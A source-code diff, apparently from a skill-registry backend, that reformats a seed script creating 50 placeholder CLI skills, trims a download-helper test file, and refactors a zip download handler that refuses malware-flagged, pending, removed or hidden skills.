displayName: string;
summary: string;
version: string;
metadata: Record<string, unknown>;
rawSkillMd: string;
};
slug: string
displayName: string
summary: string
version: string
metadata: Record<string, unknown>
rawSkillMd: string
}
function makeSkill(
slug: string,
displayName: string,
summary: string,
envVars: string[] = [],
commands: string[] = ["help", "status", "run"],
commands: string[] = ['help', 'status', 'run'],
): SeedSkillSpec {
const cliHelp = `${slug} - ${summary}
@@ -35,12 +35,12 @@ Usage:
${slug} [command]
Commands:
${commands.map((cmd) => ` ${cmd.padEnd(12)} Run ${cmd} operation`).join("\n")}
${commands.map((cmd) => ` ${cmd.padEnd(12)} Run ${cmd} operation`).join('\n')}
Flags:
-h, --help Show help
--json Output as JSON
`;
`
const rawSkillMd = `---
name: ${slug}
@@ -52,24 +52,24 @@ description: ${summary}
## CLI
\`\`\`bash
${commands.map((cmd) => `${slug} ${cmd}`).join("\n")}
${commands.map((cmd) => `${slug} ${cmd}`).join('\n')}
\`\`\`
## Usage
Use this skill to ${summary.toLowerCase()}.
`;
`
return {
slug,
displayName,
summary,
version: "0.1.0",
version: '0.1.0',
metadata: {
clawdbot: {
nix: {
plugin: `github:example/${slug}`,
systems: ["aarch64-darwin", "x86_64-linux"],
systems: ['aarch64-darwin', 'x86_64-linux'],
},
config: {
requiredEnv: envVars,
@@ -78,384 +78,384 @@ Use this skill to ${summary.toLowerCase()}.
},
},
rawSkillMd,
};
}
}
// 50 placeholder skills for pagination testing
const EXTRA_SEED_SKILLS: SeedSkillSpec[] = [
// DevOps & Infrastructure (10)
makeSkill(
"kubectl-helper",
"Kubectl Helper",
"Simplified kubectl commands for common Kubernetes operations.",
["KUBECONFIG"],
["pods", "logs", "exec", "describe", "apply"],
'kubectl-helper',
'Kubectl Helper',
'Simplified kubectl commands for common Kubernetes operations.',
['KUBECONFIG'],
['pods', 'logs', 'exec', 'describe', 'apply'],
),
makeSkill(
"terraform-runner",
"Terraform Runner",
"Execute Terraform plans and applies with safety checks.",
["TF_VAR_region", "AWS_PROFILE"],
["plan", "apply", "destroy", "output", "state"],
'terraform-runner',
'Terraform Runner',
'Execute Terraform plans and applies with safety checks.',
['TF_VAR_region', 'AWS_PROFILE'],
['plan', 'apply', 'destroy', 'output', 'state'],
),
makeSkill(
"ansible-exec",
"Ansible Exec",
"Run Ansible playbooks and ad-hoc commands.",
["ANSIBLE_INVENTORY"],
["playbook", "adhoc", "inventory", "facts", "vault"],
'ansible-exec',
'Ansible Exec',
'Run Ansible playbooks and ad-hoc commands.',
['ANSIBLE_INVENTORY'],
['playbook', 'adhoc', 'inventory', 'facts', 'vault'],
),
makeSkill(
"docker-compose-mgr",
"Docker Compose Manager",
"Manage Docker Compose stacks and services.",
["DOCKER_HOST"],
["up", "down", "logs", "ps", "restart"],
'docker-compose-mgr',
'Docker Compose Manager',
'Manage Docker Compose stacks and services.',
['DOCKER_HOST'],
['up', 'down', 'logs', 'ps', 'restart'],
),
makeSkill(
"k9s-wrapper",
"K9s Wrapper",
"Interactive Kubernetes cluster management via K9s.",
["KUBECONFIG"],
["launch", "contexts", "namespaces", "pods", "logs"],
'k9s-wrapper',
'K9s Wrapper',
'Interactive Kubernetes cluster management via K9s.',
['KUBECONFIG'],
['launch', 'contexts', 'namespaces', 'pods', 'logs'],
),
makeSkill(
"helm-charts",
"Helm Charts",
"Manage Helm chart deployments and releases.",
["KUBECONFIG", "HELM_REPO"],
["install", "upgrade", "rollback", "list", "search"],
'helm-charts',
'Helm Charts',
'Manage Helm chart deployments and releases.',
['KUBECONFIG', 'HELM_REPO'],
['install', 'upgrade', 'rollback', 'list', 'search'],
),
makeSkill(
"prometheus-alerts",
"Prometheus Alerts",
"Query Prometheus metrics and manage alerting rules.",
["PROMETHEUS_URL"],
["query", "alerts", "rules", "targets", "status"],
'prometheus-alerts',
'Prometheus Alerts',
'Query Prometheus metrics and manage alerting rules.',
['PROMETHEUS_URL'],
['query', 'alerts', 'rules', 'targets', 'status'],
),
makeSkill(
"grafana-dash",
"Grafana Dashboards",
"Create and manage Grafana dashboards programmatically.",
["GRAFANA_URL", "GRAFANA_API_KEY"],
["list", "export", "import", "create", "delete"],
'grafana-dash',
'Grafana Dashboards',
'Create and manage Grafana dashboards programmatically.',
['GRAFANA_URL', 'GRAFANA_API_KEY'],
['list', 'export', 'import', 'create', 'delete'],
),
makeSkill(
"nginx-config",
"Nginx Config",
"Generate and validate Nginx configuration files.",
["NGINX_CONF_DIR"],
["generate", "validate", "reload", "test", "sites"],
'nginx-config',
'Nginx Config',
'Generate and validate Nginx configuration files.',
['NGINX_CONF_DIR'],
['generate', 'validate', 'reload', 'test', 'sites'],
),
makeSkill(
"jenkins-jobs",
"Jenkins Jobs",
"Manage Jenkins jobs and pipelines.",
["JENKINS_URL", "JENKINS_TOKEN"],
["list", "build", "status", "logs", "config"],
'jenkins-jobs',
'Jenkins Jobs',
'Manage Jenkins jobs and pipelines.',
['JENKINS_URL', 'JENKINS_TOKEN'],
['list', 'build', 'status', 'logs', 'config'],
),
// Productivity (8)
makeSkill(
"todoist-sync",
"Todoist Sync",
"Sync and manage Todoist tasks from the command line.",
["TODOIST_API_TOKEN"],
["list", "add", "complete", "projects", "labels"],
'todoist-sync',
'Todoist Sync',
'Sync and manage Todoist tasks from the command line.',
['TODOIST_API_TOKEN'],
['list', 'add', 'complete', 'projects', 'labels'],
),
makeSkill(
"notion-backup",
"Notion Backup",
"Export and backup Notion workspaces.",
["NOTION_TOKEN"],
["export", "backup", "restore", "pages", "databases"],
'notion-backup',
'Notion Backup',
'Export and backup Notion workspaces.',
['NOTION_TOKEN'],
['export', 'backup', 'restore', 'pages', 'databases'],
),
makeSkill(
"gcal-manager",
"Google Calendar Manager",
"Manage Google Calendar events and schedules.",
["GOOGLE_CREDENTIALS_FILE"],
["events", "create", "delete", "calendars", "reminders"],
'gcal-manager',
'Google Calendar Manager',
'Manage Google Calendar events and schedules.',
['GOOGLE_CREDENTIALS_FILE'],
['events', 'create', 'delete', 'calendars', 'reminders'],
),
makeSkill(
"time-tracker",
"Time Tracker",
"Track time spent on projects and tasks.",
["TIMETRACK_DB"],
["start", "stop", "status", "report", "projects"],
'time-tracker',
'Time Tracker',
'Track time spent on projects and tasks.',
['TIMETRACK_DB'],
['start', 'stop', 'status', 'report', 'projects'],
),
makeSkill(
"email-digest",
"Email Digest",
"Generate email digests and summaries.",
["IMAP_SERVER", "IMAP_USER"],
["fetch", "digest", "search", "folders", "unread"],
'email-digest',
'Email Digest',
'Generate email digests and summaries.',
['IMAP_SERVER', 'IMAP_USER'],
['fetch', 'digest', 'search', 'folders', 'unread'],
),
makeSkill(
"habit-tracker",
"Habit Tracker",
"Track daily habits and streaks.",
["HABITS_DB"],
["log", "streak", "stats", "habits", "remind"],
'habit-tracker',
'Habit Tracker',
'Track daily habits and streaks.',
['HABITS_DB'],
['log', 'streak', 'stats', 'habits', 'remind'],
),
makeSkill(
"bookmark-sync",
"Bookmark Sync",
"Sync bookmarks across browsers and devices.",
["BOOKMARKS_DIR"],
["sync", "export", "import", "search", "tags"],
'bookmark-sync',
'Bookmark Sync',
'Sync bookmarks across browsers and devices.',
['BOOKMARKS_DIR'],
['sync', 'export', 'import', 'search', 'tags'],
),
makeSkill(
"notes-export",
"Notes Export",
"Export notes to various formats.",
["NOTES_DIR"],
["export", "convert", "search", "list", "tags"],
'notes-export',
'Notes Export',
'Export notes to various formats.',
['NOTES_DIR'],
['export', 'convert', 'search', 'list', 'tags'],
),
// Media & Entertainment (6)
makeSkill(
"spotify-ctl",
"Spotify Control",
"Control Spotify playback from the terminal.",
["SPOTIFY_CLIENT_ID", "SPOTIFY_CLIENT_SECRET"],
["play", "pause", "next", "prev", "search"],
'spotify-ctl',
'Spotify Control',
'Control Spotify playback from the terminal.',
['SPOTIFY_CLIENT_ID', 'SPOTIFY_CLIENT_SECRET'],
['play', 'pause', 'next', 'prev', 'search'],
),
makeSkill(
"plex-manager",
"Plex Manager",
"Manage Plex media libraries and playback.",
["PLEX_URL", "PLEX_TOKEN"],
["libraries", "scan", "search", "play", "sessions"],
'plex-manager',
'Plex Manager',
'Manage Plex media libraries and playback.',
['PLEX_URL', 'PLEX_TOKEN'],
['libraries', 'scan', 'search', 'play', 'sessions'],
),
makeSkill(
"ytdl-wrapper",
"YouTube Downloader",
"Download videos from YouTube and other platforms.",
["YTDL_OUTPUT_DIR"],
["download", "info", "playlist", "audio", "formats"],
'ytdl-wrapper',
'YouTube Downloader',
'Download videos from YouTube and other platforms.',
['YTDL_OUTPUT_DIR'],
['download', 'info', 'playlist', 'audio', 'formats'],
),
makeSkill(
"podcast-dl",
"Podcast Downloader",
"Download and manage podcast episodes.",
["PODCAST_DIR"],
["subscribe", "download", "list", "play", "search"],
'podcast-dl',
'Podcast Downloader',
'Download and manage podcast episodes.',
['PODCAST_DIR'],
['subscribe', 'download', 'list', 'play', 'search'],
),
makeSkill(
"audiobook-player",
"Audiobook Player",
"Manage and play audiobook collections.",
["AUDIOBOOK_DIR"],
["play", "pause", "bookmark", "list", "progress"],
'audiobook-player',
'Audiobook Player',
'Manage and play audiobook collections.',
['AUDIOBOOK_DIR'],
['play', 'pause', 'bookmark', 'list', 'progress'],
),
makeSkill(
"music-lib",
"Music Library",
"Organize and query local music libraries.",
["MUSIC_DIR"],
["scan", "search", "play", "playlist", "stats"],
'music-lib',
'Music Library',
'Organize and query local music libraries.',
['MUSIC_DIR'],
['scan', 'search', 'play', 'playlist', 'stats'],
),
// Smart Home (8)
makeSkill(
"hass-control",
"Home Assistant Control",
"Control Home Assistant entities and automations.",
["HASS_URL", "HASS_TOKEN"],
["entities", "services", "automations", "scenes", "history"],
'hass-control',
'Home Assistant Control',
'Control Home Assistant entities and automations.',
['HASS_URL', 'HASS_TOKEN'],
['entities', 'services', 'automations', 'scenes', 'history'],
),
makeSkill(
"zigbee-mqtt",
"Zigbee2MQTT",
"Manage Zigbee devices via MQTT.",
["MQTT_BROKER", "ZIGBEE_TOPIC"],
["devices", "pair", "remove", "rename", "groups"],
'zigbee-mqtt',
'Zigbee2MQTT',
'Manage Zigbee devices via MQTT.',
['MQTT_BROKER', 'ZIGBEE_TOPIC'],
['devices', 'pair', 'remove', 'rename', 'groups'],
),
makeSkill(
"tasmota-ctl",
"Tasmota Control",
"Control Tasmota-flashed devices.",
["TASMOTA_HOSTS"],
["status", "power", "config", "update", "backup"],
'tasmota-ctl',
'Tasmota Control',
'Control Tasmota-flashed devices.',
['TASMOTA_HOSTS'],
['status', 'power', 'config', 'update', 'backup'],
),
makeSkill(
"esphome-mgr",
"ESPHome Manager",
"Manage ESPHome device configurations.",
["ESPHOME_DIR"],
["compile", "upload", "logs", "dashboard", "config"],
'esphome-mgr',
'ESPHome Manager',
'Manage ESPHome device configurations.',
['ESPHOME_DIR'],
['compile', 'upload', 'logs', 'dashboard', 'config'],
),
makeSkill(
"mqtt-broker",
"MQTT Broker",
"Interact with MQTT brokers for IoT messaging.",
["MQTT_BROKER", "MQTT_USER"],
["pub", "sub", "topics", "clients", "stats"],
'mqtt-broker',
'MQTT Broker',
'Interact with MQTT brokers for IoT messaging.',
['MQTT_BROKER', 'MQTT_USER'],
['pub', 'sub', 'topics', 'clients', 'stats'],
),
makeSkill(
"hue-lights",
"Philips Hue",
"Control Philips Hue lights and scenes.",
["HUE_BRIDGE_IP", "HUE_API_KEY"],
["lights", "scenes", "groups", "schedules", "sensors"],
'hue-lights',
'Philips Hue',
'Control Philips Hue lights and scenes.',
['HUE_BRIDGE_IP', 'HUE_API_KEY'],
['lights', 'scenes', 'groups', 'schedules', 'sensors'],
),
makeSkill(
"smart-thermo",
"Smart Thermostat",
"Control smart thermostats and HVAC systems.",
["THERMOSTAT_API_KEY"],
["status", "set", "schedule", "history", "zones"],
'smart-thermo',
'Smart Thermostat',
'Control smart thermostats and HVAC systems.',
['THERMOSTAT_API_KEY'],
['status', 'set', 'schedule', 'history', 'zones'],
),
makeSkill(
"cam-viewer",
"Camera Viewer",
"View and manage security camera feeds.",
["CAMERA_URLS"],
["list", "snapshot", "stream", "record", "events"],
'cam-viewer',
'Camera Viewer',
'View and manage security camera feeds.',
['CAMERA_URLS'],
['list', 'snapshot', 'stream', 'record', 'events'],
),
// Finance (5)
makeSkill(
"budget-track",
"Budget Tracker",
"Track budgets and spending across categories.",
["BUDGET_DB"],
["summary", "add", "categories", "report", "goals"],
'budget-track',
'Budget Tracker',
'Track budgets and spending across categories.',
['BUDGET_DB'],
['summary', 'add', 'categories', 'report', 'goals'],
),
makeSkill(
"crypto-watch",
"Crypto Watcher",
"Monitor cryptocurrency prices and portfolios.",
["CRYPTO_API_KEY"],
["prices", "portfolio", "alerts", "history", "convert"],
'crypto-watch',
'Crypto Watcher',
'Monitor cryptocurrency prices and portfolios.',
['CRYPTO_API_KEY'],
['prices', 'portfolio', 'alerts', 'history', 'convert'],
),
makeSkill(
"stock-alerts",
"Stock Alerts",
"Set up stock price alerts and notifications.",
["STOCK_API_KEY"],
["quote", "watch", "alerts", "portfolio", "news"],
'stock-alerts',
'Stock Alerts',
'Set up stock price alerts and notifications.',
['STOCK_API_KEY'],
['quote', 'watch', 'alerts', 'portfolio', 'news'],
),
makeSkill(
"expense-cat",
"Expense Categorizer",
"Automatically categorize expenses.",
["EXPENSE_DB"],
["import", "categorize", "report", "rules", "export"],
'expense-cat',
'Expense Categorizer',
'Automatically categorize expenses.',
['EXPENSE_DB'],
['import', 'categorize', 'report', 'rules', 'export'],
),
makeSkill(
"invoice-gen",
"Invoice Generator",
"Generate and manage invoices.",
["INVOICE_DIR", "COMPANY_INFO"],
["create", "list", "send", "paid", "overdue"],
'invoice-gen',
'Invoice Generator',
'Generate and manage invoices.',
['INVOICE_DIR', 'COMPANY_INFO'],
['create', 'list', 'send', 'paid', 'overdue'],
),
// Communication (5)
makeSkill(
"slack-bot",
"Slack Bot",
"Interact with Slack channels and messages.",
["SLACK_TOKEN"],
["send", "channels", "users", "search", "files"],
'slack-bot',
'Slack Bot',
'Interact with Slack channels and messages.',
['SLACK_TOKEN'],
['send', 'channels', 'users', 'search', 'files'],
),
makeSkill(
"discord-mgr",
"Discord Manager",
"Manage Discord servers and messages.",
["DISCORD_TOKEN"],
["send", "servers", "channels", "members", "roles"],
'discord-mgr',
'Discord Manager',
'Manage Discord servers and messages.',
['DISCORD_TOKEN'],
['send', 'servers', 'channels', 'members', 'roles'],
),
makeSkill(
"telegram-bot",
"Telegram Bot",
"Send and receive Telegram messages.",
["TELEGRAM_BOT_TOKEN"],
["send", "receive", "chats", "files", "inline"],
'telegram-bot',
'Telegram Bot',
'Send and receive Telegram messages.',
['TELEGRAM_BOT_TOKEN'],
['send', 'receive', 'chats', 'files', 'inline'],
),
makeSkill(
"matrix-cli",
"Matrix CLI",
"Interact with Matrix chat rooms.",
["MATRIX_HOMESERVER", "MATRIX_TOKEN"],
["send", "rooms", "join", "leave", "sync"],
'matrix-cli',
'Matrix CLI',
'Interact with Matrix chat rooms.',
['MATRIX_HOMESERVER', 'MATRIX_TOKEN'],
['send', 'rooms', 'join', 'leave', 'sync'],
),
makeSkill(
"irc-bridge",
"IRC Bridge",
"Bridge IRC channels to other platforms.",
["IRC_SERVER", "IRC_NICK"],
["connect", "join", "send", "channels", "users"],
'irc-bridge',
'IRC Bridge',
'Bridge IRC channels to other platforms.',
['IRC_SERVER', 'IRC_NICK'],
['connect', 'join', 'send', 'channels', 'users'],
),
// Data & Analytics (5)
makeSkill(
"pg-queries",
"PostgreSQL Queries",
"Execute PostgreSQL queries and manage databases.",
["DATABASE_URL"],
["query", "tables", "schema", "backup", "restore"],
'pg-queries',
'PostgreSQL Queries',
'Execute PostgreSQL queries and manage databases.',
['DATABASE_URL'],
['query', 'tables', 'schema', 'backup', 'restore'],
),
makeSkill(
"clickhouse-ql",
"ClickHouse Queries",
"Run ClickHouse analytics queries.",
["CLICKHOUSE_URL"],
["query", "tables", "insert", "system", "optimize"],
'clickhouse-ql',
'ClickHouse Queries',
'Run ClickHouse analytics queries.',
['CLICKHOUSE_URL'],
['query', 'tables', 'insert', 'system', 'optimize'],
),
makeSkill(
"redis-cli",
"Redis CLI",
"Interact with Redis cache and data structures.",
["REDIS_URL"],
["get", "set", "keys", "info", "flush"],
'redis-cli',
'Redis CLI',
'Interact with Redis cache and data structures.',
['REDIS_URL'],
['get', 'set', 'keys', 'info', 'flush'],
),
makeSkill(
"elastic-search",
"Elasticsearch",
"Search and manage Elasticsearch indices.",
["ELASTICSEARCH_URL"],
["search", "index", "mapping", "cluster", "aliases"],
'elastic-search',
'Elasticsearch',
'Search and manage Elasticsearch indices.',
['ELASTICSEARCH_URL'],
['search', 'index', 'mapping', 'cluster', 'aliases'],
),
makeSkill(
"mongo-shell",
"MongoDB Shell",
"Query and manage MongoDB collections.",
["MONGODB_URI"],
["find", "insert", "update", "delete", "aggregate"],
'mongo-shell',
'MongoDB Shell',
'Query and manage MongoDB collections.',
['MONGODB_URI'],
['find', 'insert', 'update', 'delete', 'aggregate'],
),
// Security (3)
makeSkill(
"vault-secrets",
"Vault Secrets",
"Manage secrets in HashiCorp Vault.",
["VAULT_ADDR", "VAULT_TOKEN"],
["read", "write", "list", "delete", "seal"],
'vault-secrets',
'Vault Secrets',
'Manage secrets in HashiCorp Vault.',
['VAULT_ADDR', 'VAULT_TOKEN'],
['read', 'write', 'list', 'delete', 'seal'],
),
makeSkill(
"gpg-keys",
"GPG Keys",
"Manage GPG keys and encryption.",
["GNUPGHOME"],
["list", "generate", "export", "import", "encrypt"],
'gpg-keys',
'GPG Keys',
'Manage GPG keys and encryption.',
['GNUPGHOME'],
['list', 'generate', 'export', 'import', 'encrypt'],
),
makeSkill(
"ssh-rotate",
"SSH Key Rotator",
"Rotate and manage SSH keys.",
["SSH_KEY_DIR"],
["generate", "rotate", "deploy", "list", "revoke"],
'ssh-rotate',
'SSH Key Rotator',
'Rotate and manage SSH keys.',
['SSH_KEY_DIR'],
['generate', 'rotate', 'deploy', 'list', 'revoke'],
),
];
]
function injectMetadata(rawSkillMd: string, metadata: Record<string, unknown>) {
const frontmatterEnd = rawSkillMd.indexOf("\n---", 3);
if (frontmatterEnd === -1) return rawSkillMd;
const frontmatterEnd = rawSkillMd.indexOf('\n---', 3)
if (frontmatterEnd === -1) return rawSkillMd
return `${rawSkillMd.slice(0, frontmatterEnd)}\nmetadata: ${JSON.stringify(
metadata,
)}${rawSkillMd.slice(frontmatterEnd)}`;
)}${rawSkillMd.slice(frontmatterEnd)}`
}
function randomStats() {
@@ -464,12 +464,12 @@ function randomStats() {
stars: Math.floor(Math.random() * 500),
installsCurrent: Math.floor(Math.random() * 200),
installsAllTime: Math.floor(Math.random() * 1000),
};
}
}
export const applyRandomStats = internalMutation({
args: {
skillId: v.id("skills"),
skillId: v.id('skills'),
stats: v.object({
downloads: v.number(),
stars: v.number(),
@@ -491,22 +491,22 @@ export const applyRandomStats = internalMutation({
versions: 1,
comments: 0,
},
});
})
},
});
})
export const seedExtraSkillsInternal = internalAction({
args: {
reset: v.optional(v.boolean()),
},
handler: async (ctx: ActionCtx, args) => {
const results: Array<{ slug: string; ok: boolean; skipped?: boolean }> = [];
const results: Array<{ slug: string; ok: boolean; skipped?: boolean }> = []
for (const spec of EXTRA_SEED_SKILLS) {
const skillMd = injectMetadata(spec.rawSkillMd, spec.metadata);
const frontmatter = parseFrontmatter(skillMd);
const clawdis = parseClawdisMetadata(frontmatter);
const storageId = await ctx.storage.store(new Blob([skillMd], { type: "text/markdown" }));
const skillMd = injectMetadata(spec.rawSkillMd, spec.metadata)
const frontmatter = parseFrontmatter(skillMd)
const clawdis = parseClawdisMetadata(frontmatter)
const storageId = await ctx.storage.store(new Blob([skillMd], { type: 'text/markdown' }))
const result = (await ctx.runMutation(internal.devSeed.seedSkillMutation, {
reset: args.reset,
@@ -519,23 +519,23 @@ export const seedExtraSkillsInternal = internalAction({
displayName: spec.displayName,
summary: spec.summary,
version: spec.version,
})) as { ok: boolean; skipped?: boolean; skillId?: string };
})) as { ok: boolean; skipped?: boolean; skillId?: string }
// Apply random stats after creation (only if not skipped)
if (result.skillId && !result.skipped) {
const stats = randomStats();
const stats = randomStats()
await ctx.runMutation(internal.devSeedExtra.applyRandomStats, {
skillId: result.skillId as Id<"skills">,
skillId: result.skillId as Id<'skills'>,
stats,
});
})
}
results.push({ slug: spec.slug, ok: result.ok, skipped: result.skipped });
results.push({ slug: spec.slug, ok: result.ok, skipped: result.skipped })
}
const created = results.filter((r) => !r.skipped).length;
const skipped = results.filter((r) => r.skipped).length;
const created = results.filter((r) => !r.skipped).length
const skipped = results.filter((r) => r.skipped).length
return { ok: true, total: results.length, created, skipped };
return { ok: true, total: results.length, created, skipped }
},
});
})
+36 -132
View File
@@ -1,139 +1,43 @@
import { afterEach, describe, expect, it, vi } from "vitest";
import type { ActionCtx } from "./_generated/server";
import { __test, downloadZipHandler } from "./downloads";
import { afterEach, describe, expect, it, vi } from 'vitest'
import { __test } from './downloads'
type RateLimitArgs = { key: string; limit: number; windowMs: number };
function isRateLimitArgs(args: unknown): args is RateLimitArgs {
if (!args || typeof args !== "object") return false;
const value = args as Record<string, unknown>;
return (
typeof value.key === "string" &&
typeof value.limit === "number" &&
typeof value.windowMs === "number"
);
}
const okRate = () => ({
allowed: true,
remaining: 10,
limit: 100,
resetAt: Date.now() + 60_000,
});
describe("downloads helpers", () => {
describe('downloads helpers', () => {
afterEach(() => {
vi.unstubAllEnvs();
vi.unstubAllGlobals();
});
vi.unstubAllEnvs()
})
it("calculates hour start boundaries", () => {
const hour = 3_600_000;
expect(__test.getHourStart(0)).toBe(0);
expect(__test.getHourStart(hour - 1)).toBe(0);
expect(__test.getHourStart(hour)).toBe(hour);
expect(__test.getHourStart(hour + 1)).toBe(hour);
});
it('calculates hour start boundaries', () => {
const hour = 3_600_000
expect(__test.getHourStart(0)).toBe(0)
expect(__test.getHourStart(hour - 1)).toBe(0)
expect(__test.getHourStart(hour)).toBe(hour)
expect(__test.getHourStart(hour + 1)).toBe(hour)
})
it("prefers user identity when token user exists", () => {
const request = new Request("https://example.com", {
headers: { "cf-connecting-ip": "1.2.3.4" },
});
expect(__test.getDownloadIdentityValue(request, "users_123")).toBe("user:users_123");
});
it('prefers user identity when token user exists', () => {
const request = new Request('https://example.com', {
headers: { 'cf-connecting-ip': '1.2.3.4' },
})
expect(__test.getDownloadIdentityValue(request, 'users_123')).toBe('user:users_123')
})
it("uses cf-connecting-ip for anonymous identity", () => {
const request = new Request("https://example.com", {
headers: { "cf-connecting-ip": "1.2.3.4" },
});
expect(__test.getDownloadIdentityValue(request, null)).toBe("ip:1.2.3.4");
});
it('uses cf-connecting-ip for anonymous identity', () => {
const request = new Request('https://example.com', {
headers: { 'cf-connecting-ip': '1.2.3.4' },
})
expect(__test.getDownloadIdentityValue(request, null)).toBe('ip:1.2.3.4')
})
it("falls back to forwarded ip when explicitly enabled", () => {
vi.stubEnv("TRUST_FORWARDED_IPS", "true");
const request = new Request("https://example.com", {
headers: { "x-forwarded-for": "10.0.0.1, 10.0.0.2" },
});
expect(__test.getDownloadIdentityValue(request, null)).toBe("ip:10.0.0.1");
});
it('falls back to forwarded ip when explicitly enabled', () => {
vi.stubEnv('TRUST_FORWARDED_IPS', 'true')
const request = new Request('https://example.com', {
headers: { 'x-forwarded-for': '10.0.0.1, 10.0.0.2' },
})
expect(__test.getDownloadIdentityValue(request, null)).toBe('ip:10.0.0.1')
})
it("returns null when user and ip are missing", () => {
const request = new Request("https://example.com");
expect(__test.getDownloadIdentityValue(request, null)).toBeNull();
});
it("records zip downloads through the internal mutation path", async () => {
class MockResponse {
status: number;
headers: Headers;
constructor(_body?: BodyInit | null, init?: ResponseInit) {
this.status = init?.status ?? 200;
this.headers = new Headers(init?.headers);
}
}
vi.stubGlobal("Response", MockResponse as unknown as typeof Response);
const runQuery = vi.fn(async (_query: unknown, args: Record<string, unknown>) => {
if (isRateLimitArgs(args)) return okRate();
if ("slug" in args) {
return {
skill: {
_id: "skills:1",
ownerUserId: "users:1",
slug: "demo",
tags: {},
latestVersionId: "skillVersions:1",
},
moderationInfo: null,
};
}
if ("versionId" in args) {
return {
_id: "skillVersions:1",
version: "1.0.0",
createdAt: 3,
files: [{ path: "SKILL.md", storageId: "_storage:1" }],
softDeletedAt: undefined,
};
}
return null;
});
const runMutation = vi.fn(async (mutation: unknown, args: Record<string, unknown>) => {
if (isRateLimitArgs(args)) return okRate();
return { mutation, args };
});
const storageGet = vi.fn().mockResolvedValue(new Blob(["hello"], { type: "text/markdown" }));
const response = await downloadZipHandler(
{
runQuery,
runMutation,
storage: { get: storageGet },
} as unknown as ActionCtx,
new Request("https://example.com/api/v1/download?slug=demo", {
headers: { "cf-connecting-ip": "1.2.3.4" },
}),
);
expect(response.status).toBe(200);
expect(response.headers.get("Content-Type")).toBe("application/zip");
expect(storageGet).toHaveBeenCalledWith("_storage:1");
const recordCalls = runMutation.mock.calls.filter(([, args]) => {
if (!args || typeof args !== "object") return false;
const value = args as Record<string, unknown>;
return (
value.skillId === "skills:1" &&
typeof value.identityHash === "string" &&
typeof value.hourStart === "number"
);
});
expect(recordCalls).toHaveLength(1);
expect(recordCalls[0]?.[1]).toEqual({
skillId: "skills:1",
identityHash: expect.any(String),
hourStart: expect.any(Number),
});
});
});
it('returns null when user and ip are missing', () => {
const request = new Request('https://example.com')
expect(__test.getDownloadIdentityValue(request, null)).toBeNull()
})
})
+98 -94
View File
@@ -1,134 +1,127 @@
import { v } from "convex/values";
import { api, internal } from "./_generated/api";
import { httpAction, internalMutation } from "./functions";
import { getOptionalApiTokenUserId } from "./lib/apiTokenAuth";
import { corsHeaders, mergeHeaders } from "./lib/httpHeaders";
import { applyRateLimit, getClientIp } from "./lib/httpRateLimit";
import { buildDeterministicZip } from "./lib/skillZip";
import { hashToken } from "./lib/tokens";
import { insertStatEvent } from "./skillStatEvents";
import { v } from 'convex/values'
import { api, internal } from './_generated/api'
import { httpAction, internalMutation, mutation } from './_generated/server'
import { getOptionalApiTokenUserId } from './lib/apiTokenAuth'
import { applyRateLimit, getClientIp } from './lib/httpRateLimit'
import { corsHeaders, mergeHeaders } from './lib/httpHeaders'
import { buildDeterministicZip } from './lib/skillZip'
import { hashToken } from './lib/tokens'
import { insertStatEvent } from './skillStatEvents'
const HOUR_MS = 3_600_000;
const DEDUPE_RETENTION_MS = 7 * 24 * HOUR_MS;
const PRUNE_BATCH_SIZE = 200;
const PRUNE_MAX_BATCHES = 50;
const HOUR_MS = 3_600_000
const DEDUPE_RETENTION_MS = 7 * 24 * HOUR_MS
const PRUNE_BATCH_SIZE = 200
const PRUNE_MAX_BATCHES = 50
export async function downloadZipHandler(
ctx: Parameters<Parameters<typeof httpAction>[0]>[0],
request: Request,
) {
const url = new URL(request.url);
const slug = url.searchParams.get("slug")?.trim().toLowerCase();
const versionParam = url.searchParams.get("version")?.trim();
const tagParam = url.searchParams.get("tag")?.trim();
export const downloadZip = httpAction(async (ctx, request) => {
const url = new URL(request.url)
const slug = url.searchParams.get('slug')?.trim().toLowerCase()
const versionParam = url.searchParams.get('version')?.trim()
const tagParam = url.searchParams.get('tag')?.trim()
if (!slug) {
return new Response("Missing slug", {
return new Response('Missing slug', {
status: 400,
headers: corsHeaders(),
});
})
}
const rate = await applyRateLimit(ctx, request, "download");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'download')
if (!rate.ok) return rate.response
const skillResult = await ctx.runQuery(api.skills.getBySlug, { slug });
const skillResult = await ctx.runQuery(api.skills.getBySlug, { slug })
if (!skillResult?.skill) {
return new Response("Skill not found", {
return new Response('Skill not found', {
status: 404,
headers: mergeHeaders(rate.headers, corsHeaders()),
});
})
}
// Block downloads based on moderation status.
const mod = skillResult.moderationInfo;
const mod = skillResult.moderationInfo
if (mod?.isMalwareBlocked) {
return new Response(
"Blocked: this skill has been flagged as malicious by VirusTotal and cannot be downloaded.",
'Blocked: this skill has been flagged as malicious by VirusTotal and cannot be downloaded.',
{
status: 403,
headers: mergeHeaders(rate.headers, corsHeaders()),
},
);
)
}
if (mod?.isPendingScan) {
return new Response(
"This skill is pending a security scan by VirusTotal. Please try again in a few minutes.",
'This skill is pending a security scan by VirusTotal. Please try again in a few minutes.',
{
status: 423,
headers: mergeHeaders(rate.headers, corsHeaders()),
},
);
)
}
if (mod?.isRemoved) {
return new Response("This skill has been removed by a moderator.", {
return new Response('This skill has been removed by a moderator.', {
status: 410,
headers: mergeHeaders(rate.headers, corsHeaders()),
});
})
}
if (mod?.isHiddenByMod) {
return new Response("This skill is currently unavailable.", {
return new Response('This skill is currently unavailable.', {
status: 403,
headers: mergeHeaders(rate.headers, corsHeaders()),
});
})
}
const skill = skillResult.skill;
let version = skill.latestVersionId
? await ctx.runQuery(internal.skills.getVersionByIdInternal, {
versionId: skill.latestVersionId,
})
: null;
const skill = skillResult.skill
let version = skillResult.latestVersion
if (versionParam) {
version = await ctx.runQuery(internal.skills.getVersionBySkillAndVersionInternal, {
version = await ctx.runQuery(api.skills.getVersionBySkillAndVersion, {
skillId: skill._id,
version: versionParam,
});
})
} else if (tagParam) {
const versionId = skill.tags[tagParam];
const versionId = skill.tags[tagParam]
if (versionId) {
version = await ctx.runQuery(internal.skills.getVersionByIdInternal, { versionId });
version = await ctx.runQuery(api.skills.getVersionById, { versionId })
}
}
if (!version) {
return new Response("Version not found", {
return new Response('Version not found', {
status: 404,
headers: mergeHeaders(rate.headers, corsHeaders()),
});
})
}
if (version.softDeletedAt) {
return new Response("Version not available", {
return new Response('Version not available', {
status: 410,
headers: mergeHeaders(rate.headers, corsHeaders()),
});
})
}
const entries: Array<{ path: string; bytes: Uint8Array }> = [];
